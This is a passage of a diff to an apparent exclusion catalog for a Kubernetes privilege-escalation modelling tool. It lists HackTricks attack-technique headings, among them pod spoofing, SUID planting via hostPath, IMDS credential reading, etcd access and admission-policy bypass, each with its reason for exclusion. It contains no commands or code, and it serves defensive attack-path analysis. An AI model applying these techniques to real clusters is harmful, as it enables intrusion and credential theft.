src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#status-based-traffic-interception + technique: Status-based traffic interception + reason: Traffic interception only. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#arp-spoofing-in-pods-in-the-same-node + technique: ARP / DNS spoofing between pods + reason: Network attack requiring NET_RAW in a pod; no new identity derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#dns-spoofing-via-coredns-configmap + technique: DNS spoofing via CoreDNS ConfigMap + reason: Traffic redirection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-writable-hostpathbind-mounts-container---host-root-via-suid-planting + technique: SUID planting through writable hostPath mounts + reason: Requires a host user executing the planted binary; node-level access via hostPath already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#dosing-other-nodes + technique: Node DoS + reason: Disruption only. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#steal-secrets + technique: Stealing pod tokens from the node filesystem + reason: Same reach as k8s-nodes-node-mint-pod-sa-tokens (SAs of pods on the node); duplicate. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#image-pull-and-registry-credentials + technique: Image pull / registry credentials on nodes + reason: Registry credentials are data access; any cloud identity is covered by k8s-cloud-node-cloud-identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#privileged-daemonsets + technique: Privileged DaemonSets on the node + reason: Covered by k8s-nodes-exec-into-host-privileged-pod and k8s-nodes-node-mint-pod-sa-tokens. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#etcd-post-exploitation + technique: Reading Secrets from etcd + reason: Data read from a control-plane node; covered by k8s-nodes-control-plane-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#staticmirrored-pods-persistence + technique: Static/mirror pods + reason: Persistence; the API server rejects mirror pods referencing ServiceAccounts, Secrets or ConfigMaps, so no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#search-vulnerable-network-services + technique: Scanning/sniffing in-cluster services + reason: Network reconnaissance. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kube-apiserver-anonymous-resource-apis + technique: Anonymous API server access + reason: Exposure; anonymous bindings are evaluated as RBAC on system:anonymous/system:unauthenticated by the evaluator's group membership semantics. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kubelet-https-api-and-legacy-read-only-port + technique: Unauthenticated kubelet API (anonymous auth, AlwaysAllow) + reason: Network exposure finding (kubelet config is not collected); not a principal-to-principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#etcd-anonymous-cluster-state-access + technique: Anonymous etcd access + reason: Network exposure finding. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#kubelet-authorization + technique: nodes/checkpoint and other kubelet subresources + reason: Container checkpoint yields memory/data of a container (data read); nodes/proxy is modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-governance-guardrails + technique: EKS governance condition keys / SCPs + reason: Guardrails, not an escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: Azure-to-Kubernetes kubeconfig retrieval (listClusterAdminCredential, local accounts) and AKS NAP/NodePool writes + reason: Azure RBAC edges belong to the azure catalog; NodePool/AKSNodeClass writes are scheduling manipulation without a derivable identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: Deprecated AAD pod-managed identity (NMI/MIC, AzureIdentityBinding) + reason: Deprecated mechanism, CRDs not collected; target not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#assembling-the-pieces + technique: External Secrets Operator ExternalSecret creation against a ClusterSecretStore + reason: Reads external secret-manager values (data access); the resulting identity, if any, is not derivable. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#other-helm-escalation-inputs + technique: Helm chart, dependency, hook, tpl/lookup and post-renderer inputs + reason: Helm uses the caller's own Kubernetes identity; escalation only arises through a more privileged renderer (CI job or GitOps controller), modelled for Flux in k8s-workloads-flux-helmrelease-controller-identity and Argo CD in k8s-workloads-argocd-application-controller-identity; CI runners and plugins are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#rbac-roles-subjects-and-bindings + technique: system:masters membership and default bindings + reason: Group membership semantics handled by the evaluator, not a technique. +- source: src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md#possible-privescpivoting-scenarios + technique: Jenkins Kubernetes plugin build pod YAML overrides + reason: Source is a Jenkins user, not a Kubernetes principal; the pod is created with the Jenkins agent ServiceAccount, which reduces to pods create (modelled). +- source: src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md#jenkins-build-pod-yaml-override + technique: Triggering Jenkins builds in OpenShift + reason: Same as build overrides; non-Kubernetes source principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md + technique: SecurityContext hardening reference + reason: Hardening guidance; no technique. +# ---- catalog refresh 171e422: HEAD headings with no separate edge ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#starting-from-an-existing-pod-foothold + technique: Pod foothold boundary review + reason: Assessment guidance; the pod's ServiceAccount, node and cloud identities are separate principals already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#escaping-from-the-pod + technique: Generic Linux container escape references + reason: Pointer to Linux privilege-escalation pages; the Kubernetes-visible escape primitives are modelled by k8s-nodes-exec-into-host-privileged-pod and k8s-nodes-exec-into-host-mount-pod. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#establish-an-actual-host-escape-path + technique: Host escape surface table (mounts, host namespaces, capabilities, runtime) + reason: Classification reference implemented by the k8s_node_hosting_privileged_pod_in_namespace and k8s_node_hosting_host_mount_pod_in_namespace selectors (hostNetwork/hostPID/hostIPC alone are not escapes). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#host-namespace-capability-and-device-paths + technique: SYS_ADMIN / SYS_PTRACE+hostPID / DAC_READ_SEARCH / SYS_MODULE / MKNOD / NET_ADMIN capability paths + reason: Covered by k8s-nodes-exec-into-host-privileged-pod (SYS_ADMIN, SYS_MODULE, DAC_READ_SEARCH, ALL and SYS_PTRACE with hostPID match conditionally); MKNOD/SYS_RAWIO need an exposed device and NET_ADMIN/NET_RAW give no host identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#creating-an-escape-capable-pod-through-the-api + technique: Escape-capable pod creation (nodeName, kubectl debug node) + reason: Covered by k8s-nodes-privileged-pod-create and k8s-nodes-privileged-controller-create (kubectl debug node is ordinary pod creation). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-kubernetes-privileges + technique: Using the pod ServiceAccount's RBAC + reason: Pointer to the RBAC techniques modelled in rbac.yaml and workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-cloud-privileges + technique: Using the pod's cloud identity + reason: Pointer to cloud pivots modelled in cloud_pivot.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#network-spoofing + technique: In-cluster network spoofing + reason: Network attack without a new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#automatic-tools + technique: Automated tooling + reason: Tool list, not a technique. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#abuse-k8s-privileges + technique: Cross-namespace RBAC abuse + reason: Covered by the RBAC and workload entries (bindings, impersonation, token minting, pod creation in other namespaces). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#cross-namespace-identity-review + technique: Cross-namespace binding review + reason: Enumeration guidance; cross-namespace RoleBinding subjects are evaluated as RBAC. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#node-compromise-and-namespace-isolation + technique: Node compromise crossing namespaces + reason: Covered by k8s-nodes-node-mint-pod-sa-tokens (node identity to ServiceAccounts of its pods). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#cloud-to-cluster-trust-paths + technique: Cloud principal mapped into the cluster + reason: Cloud-side mappings (EKS access entries, aws-auth, GKE IAM, AKS credentials) are modelled in cloud_pivot.yaml and the cloud catalogs. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#verify-the-cloud-to-kubernetes-bridge + technique: Verifying cloud-to-cluster kubeconfig access + reason: Assessment guidance; kubeconfig retrieval grants no Kubernetes authorization by itself. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#cloud-controllers-as-an-indirect-privilege-path + technique: Cloud controllers acting on Kubernetes objects (LoadBalancer, snapshots, DNS, external secrets) + reason: Exposure or data access through controller identities; the resulting cloud identity gain is controller- and policy-specific and not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#direct-gke-workload-principals-and-node-boundaries + technique: Direct IAM grants to GKE workload principals + reason: The grant lives in GCP IAM on principal://.../ns//sa/ members; the KSA side is the same as k8s-cloud-gke-workload-identity and the GCP evaluator owns the IAM side. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#gke-iam-permissions-node-pools-and-autopilot-exceptions + technique: GKE IAM container.* permissions and Autopilot allowlists + reason: GCP-side permissions (container.pods.create, roles.bind/escalate) are owned by the GCP catalog; Autopilot WorkloadAllowlist is admission configuration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-auto-mode-node-configuration + technique: EKS Auto Mode NodePool/NodeClass writes selecting a node IAM role + reason: Infrastructure change through a controller; the node role still has to be reached through a node (modelled by k8s-cloud-node-cloud-identity); NodeClass objects are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#find-pods-a-sas-with-iam-roles-in-the-cluster + technique: Finding ServiceAccounts with IAM roles + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#steal-iam-role-token + technique: Reading node IAM role credentials from IMDS + reason: Covered by k8s-cloud-node-cloud-identity, k8s-cloud-pod-imds-node-identity and k8s-cloud-hostnetwork-pod-node-identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/README.md#critical-permissions + technique: Critical permission summary table + reason: Index of techniques mapped individually in the subpages. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#create-and-remove-a-pod + technique: Pod create/delete lab procedure + reason: Operational procedure; the escalation is k8s-workloads-pods-create. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#create-and-remove-serviceaccounts-roles-and-bindings + technique: ServiceAccount/Role/binding create-delete lab procedure + reason: Operational procedure; RBAC writes are only escalations with bind/escalate (rbac.yaml). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#manually-created-serviceaccount-token-secret + technique: Manually created ServiceAccount token Secret + reason: Covered by k8s-rbac-secrets-create-sa-token-secret. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#cross-namespace-reference-through-an-operator + technique: Operator reading cross-namespace Secrets on behalf of a CR author + reason: Secret disclosure (data access) through an operator-specific CRD; operator behaviour is not derivable from RBAC. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#operator-custom-resource-confused-deputy + technique: Operator custom-resource confused deputy + reason: Operator-specific (which CR field becomes a pod command or binding under the operator identity is not derivable from RBAC or the inventory); Flux and Argo CD deputies are modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#disclaimer + technique: ESO prerequisites disclaimer + reason: Context for the ExternalSecret technique excluded at #assembling-the-pieces. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#gathering-information-about-existing-clustersecretstore + technique: ClusterSecretStore enumeration + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#externalsecret-enumeration + technique: ExternalSecret enumeration + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#exploitation-ideas + technique: Helm .Values YAML injection + reason: Chart-specific input validation flaw; the escalation is the renderer identity, modelled by the GitOps deputy entries. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#helm-v3-vs-helm-v4 + technique: Helm 3 vs Helm 4 apply behaviour + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#definition + technique: Kyverno definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#use-cases + technique: Kyverno use cases + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#example-clusterpolicy-and-policy + technique: Kyverno policy example + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kyverno-bypass.md#abusing-validatingwebhookconfiguration + technique: Kyverno webhook configuration bypass + reason: Pointer to validating-admission-policies.md; webhook configuration writes are k8s-admission-webhook-configuration-weaken (kyverno_policy lifted) and mutating webhook creation is k8s-workloads-mutating-webhook-injection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/opa-gatekeeper.md#definition + technique: Gatekeeper definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/opa-gatekeeper.md#apply-constraint + technique: Gatekeeper constraint example + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/opa-gatekeeper-bypass.md#abusing-validatingwebhookconfiguration + technique: Gatekeeper webhook configuration bypass + reason: Pointer to validating-admission-policies.md; webhook configuration writes are k8s-admission-webhook-configuration-weaken (gatekeeper_constraint lifted) and mutating webhook creation is k8s-workloads-mutating-webhook-injection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#copy-a-pvc-through-volumesnapshot + technique: Copy a PVC through VolumeSnapshot + reason: Data access within the same namespace, no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#dra-admin-device-claims + technique: DRA adminAccess ResourceClaims + reason: Driver-specific device access; per HackTricks it grants neither cluster-admin nor node root by itself. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/admission-policy-objects.md#definition + technique: ValidatingWebhookConfiguration definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/admission-policy-objects.md#purpose + technique: Admission webhook purpose + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/admission-policy-objects.md#native-cel-admission-policies + technique: Native CEL admission policies + reason: Background; policy writes are mapped at #tested-admission-control-mutations (k8s-admission-validating-policy-weaken). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#explicit-serviceaccount-token-projection + technique: Explicit projected ServiceAccount token despite automount false + reason: Covered by k8s-workloads-pods-create (automountServiceAccountToken is not treated as a blocker). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/admission-control-bypass.md#init-container-envfrom-omission + technique: Init-container envFrom policy gap + reason: Policy bypass leading to a Secret read in the same namespace (data access, no new identity). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/admission-control-bypass.md#scoped-resourcequota-gap + technique: Scoped ResourceQuota gap + reason: Resource-exhaustion / DoS. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#use-case + technique: Webhook use case + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#podcertificate-signer-identity-confusion + technique: PodCertificate custom signer trusting userAnnotations + reason: Not default Kubernetes behaviour; depends on a custom signer and relying application, neither collected. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#missing-service-account + technique: Missing ServiceAccount (index) + reason: Index; modelled by k8s-rbac-dangling-serviceaccount-reference. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#tekton + technique: Tekton (index) + reason: Index; modelled by k8s-openshift-tekton-namespace-scc-annotation. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#scc-bypass + technique: SCC bypass (index) + reason: Index; modelled by the openshift.yaml SCC entries. +- source: src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md#custom-labels-and-automation + technique: Custom labels consumed by automation or admission + reason: Environment-specific automation; not derivable. +- source: src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md#list-namespaces-with-the-run-level-label + technique: Listing run-level namespaces + reason: Enumeration. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#what-is-tekton + technique: Tekton background + reason: Background. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-pipeline-service-account-capabilities + technique: pipeline ServiceAccount with pipelines-scc + reason: Holding the pipeline SA's credentials is the starting point; reaching it is pod creation as that SA (k8s-workloads-pods-create) and its SCC use is modelled by k8s-openshift-scc-via-namespace-sa. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-fix + technique: Tekton maxAllowed fix + reason: Mitigation. +# ---- ledger pass 171e422 (docs/privesc-ledgers/privesc-k8s.md): technique headings that had no catalog line ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/dosing-other-nodes.md#resource-pressure-or-loss-of-node-health + technique: Resource pressure or stopping kubelet on competing nodes + reason: Needs a workload or host access on the competing node and yields availability loss; the placement half is k8s-nodes-replacement-pod-to-controlled-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/etcd-post-exploitation.md#locate-and-read-the-active-datastore + technique: Reading Kubernetes objects directly from etcd + reason: Requires etcd client certificates or host access to a control-plane/etcd member (not an RBAC grant); control-plane host compromise is k8s-nodes-control-plane-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/etcd-post-exploitation.md#create-a-new-workload-through-etcd + technique: Writing a Pod object directly into etcd + reason: Same prerequisite as etcd reads (datastore credentials); bypasses the API server so no RBAC requirement exists to model. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/helm-release-and-runner-evidence.md#release-records-and-sensitive-history + technique: Reading Helm release Secrets (sh.helm.release.v1.*) for values history + reason: Requires secrets read, already modelled by k8s-rbac-secrets-read-legacy-sa-token for ServiceAccount tokens; other credentials in values are not derivable from metadata. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/helm-release-and-runner-evidence.md#deployment-runner-and-chart-supply-chain + technique: Compromising the Helm deployment runner or chart supply chain + reason: CI/CD and registry compromise outside the cluster snapshot. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#helm-2-tiller-release-operations-without-client-tls + technique: Helm 2 Tiller without client TLS + reason: Network-exposed service with no authenticating principal; Tiller's ServiceAccount is reachable from anything that can reach the port, which the snapshot does not model. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#nodeport-ingress-gateway-and-exposed-application-backends + technique: Exposed NodePort/Ingress/Gateway application backends + reason: Application-level unauthenticated exposure; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kubernetes-dashboard-legacy-skip-login + technique: Kubernetes Dashboard skip login + reason: Network exposure of the Dashboard ServiceAccount; no RBAC source principal (the Dashboard SA's own grants are evaluated as a normal ServiceAccount). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#argo-cd-anonymous-gitops-permissions + technique: Argo CD anonymous access + reason: Argo CD's own (non-Kubernetes) RBAC; the Kubernetes side is k8s-workloads-argocd-application-controller-identity once Applications can be written. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#argo-workflows-server-mode-workflow-submission + technique: Argo Workflows server-mode submission + reason: Argo server auth mode, not Kubernetes RBAC; workflows run as the selected ServiceAccount, equivalent to pod creation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#prometheus-alertmanager-grafana-and-metrics-endpoints + technique: Exposed Prometheus, Alertmanager, Grafana and metrics endpoints + reason: Information disclosure over the network; no identity edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#envoy-and-service-mesh-admin-interfaces + technique: Exposed Envoy and mesh admin interfaces + reason: Network-level admin interface; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#weave-scope-exposed-container-controls + technique: Weave Scope exposed container controls + reason: Network exposure of a privileged agent; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#container-registries-anonymous-images-and-layers + technique: Anonymous container registry access + reason: Registry data read outside the cluster API. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#kubelet-authentication + technique: Kubelet anonymous / webhook authentication + reason: Kubelet configuration is not collected; authenticated kubelet API access is modelled by the nodes/proxy entries. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#webhook-cache-and-permission-revocation + technique: Kubelet authorization cache after RBAC revocation + reason: Incident-response timing behaviour; no escalation edge. +- source: src/pentesting-cloud/kubernetes-security/spiffe-spire-workload-identity-spoofing.md#cgroup-based-selector-spoofing + technique: SPIRE cgroup selector spoofing from node root + reason: Requires node root (k8s_node already reached) and yields SPIFFE SVIDs trusted by external services; SPIRE registrations and relying parties are not collected. +# ---- independent heading coverage review at a66f094ede ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#helm-kustomize-and-gitops + technique: Helm, Kustomize and GitOps concepts + reason: Describes renderers and deployers; it grants no permission. Concrete controller-deputy writes are in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/control-plane-components.md#cloud-controller-manager + technique: Cloud controller manager background + reason: Describes reconciliation of cloud resources; no source permission or principal-to-principal path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/control-plane-components.md#secrets-in-etcd + technique: Discovering Secrets in etcd + reason: Requires datastore or control-plane host access; the host principal is covered by k8s-nodes-control-plane-node, and reading Secret values does not itself identify a new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#configuration-and-secret-objects + technique: Configuration and Secret object definitions + reason: Object taxonomy; the concrete token Secret read and ConfigMap code-consumption paths are in rbac.yaml and workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#policy-scheduling-and-operational-objects + technique: Policy and scheduling object definitions + reason: Object taxonomy without a distinct permission set; node scheduling and admission writes are modelled in nodes.yaml and admission_control.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#secret-delivery-example + technique: Secret delivery example + reason: Shows normal Secret projection into a Pod; stealing a mounted ServiceAccount token requires a workload or node access path already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#node-identity-and-authorization + technique: Node identity and authorization background + reason: Explains node credentials and NodeRestriction, which constrain the node paths rather than granting a new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md#get-list-watch-and-visibility + technique: get, list and watch visibility + reason: General API enumeration; specific credential-bearing Secret reads are covered by the rbac.yaml Secret entry. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md#get-my-current-permissions + technique: SelfSubjectAccessReview permission discovery + reason: Queries the caller's existing authorization and grants no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#pod-security-admission-and-resource-policy + technique: Enumerating Pod Security Admission and resource policies + reason: Read-only policy inspection; namespace label and admission-control mutations are modelled separately. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#operators-policy-controllers-and-gitops + technique: Enumerating operators and GitOps controllers + reason: Read-only controller discovery; no write to a source object or new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#helm-and-packaging-evidence + technique: Helm release and chart enumeration + reason: Read-only release inspection; chart or values changes need a privileged reconciler and are covered by the controller-deputy entries or the Helm exclusion. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/networking-objects.md#networkpolicies-and-plugin-specific-policy + technique: NetworkPolicy enumeration + reason: Reads traffic policy; changing policy affects reachability, not a principal's identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/secrets-and-configmaps.md#external-secret-delivery-objects + technique: External Secret object enumeration + reason: Inspects delivery configuration only; ExternalSecret creation reads data and has no derivable identity in the snapshot. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/secrets-and-configmaps.md#clustertrustbundles-and-installed-certificate-controllers + technique: ClusterTrustBundle and certificate controller enumeration + reason: Reads trust and signer configuration; certificate identity minting requires the separate CSR permission combination in rbac.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/storage-objects.md#pod-local-volume-sources + technique: Pod volume-source enumeration + reason: Lists mounts; host-level use requires pod creation or access already modelled in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/nodes-and-static-pods.md#static-pod-manifest + technique: Static Pod manifest persistence + reason: Requires prior host-file write and cannot reference ServiceAccounts or Secret/ConfigMap volumes; no additional principal is gained. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#detached-process-in-an-existing-pod + technique: Detached process in an existing Pod + reason: Persistence inside the same Pod identity; no additional principal beyond the pods/exec access already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#dns-and-proxy-policy-review + technique: DNS and proxy policy review + reason: Network configuration inspection; no credential or principal transition. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#networkpolicy-and-admin-policy-layers + technique: NetworkPolicy and admin-policy layers + reason: Traffic authorization and isolation; writes change connectivity, not identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#pod-label-traffic-hijack + technique: Pod label traffic hijack + reason: Reroutes Service traffic to an attacker Pod; no deterministic transfer of a Kubernetes principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#create-only-name-squatting + technique: Create-only Service and Endpoint name squatting + reason: Captures traffic for an absent object name; credentials obtained from applications are not derivable from RBAC and object metadata. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#cross-node-resolver-side-dns-interception + technique: Resolver-side DNS interception across nodes + reason: Requires network or node control and redirects traffic; no specific principal is gained. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#stable-pod-dns-names-are-routing-hints-not-identity + technique: Stable Pod DNS names + reason: Routing hints have no authentication authority or identity transition. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#node-network-and-local-services + technique: Node network and local services + reason: Network access after node compromise; new credentials are not identified by this section. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#find-node-kubeconfig + technique: Find node kubeconfig + reason: Reads the already controlled node's own credential; node-to-workload reach is modelled by k8s-nodes-node-mint-pod-sa-tokens. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#pivot-to-cloud + technique: Pivot from a node to a cloud role + reason: Covered by k8s-cloud-node-cloud-identity for the node's associated cloud credential. +- source: src/pentesting-cloud/openshift-pentesting/openshift-scc.md#list-scc + technique: List Security Context Constraints + reason: Read-only SCC discovery; the separate use and namespace-bypass permission combinations are modelled in openshift.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#rbac-and-serviceaccount-safeguards + technique: RBAC and ServiceAccount safeguards + reason: Defensive configuration advice; no new principal is obtained by applying it. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#kubelet-and-the-pod-lifecycle + technique: Kubelet and Pod lifecycle background + reason: Describes kubelet operations rather than an additional RBAC permission; nodes/proxy and node access are modelled in nodes.yaml. +- source: 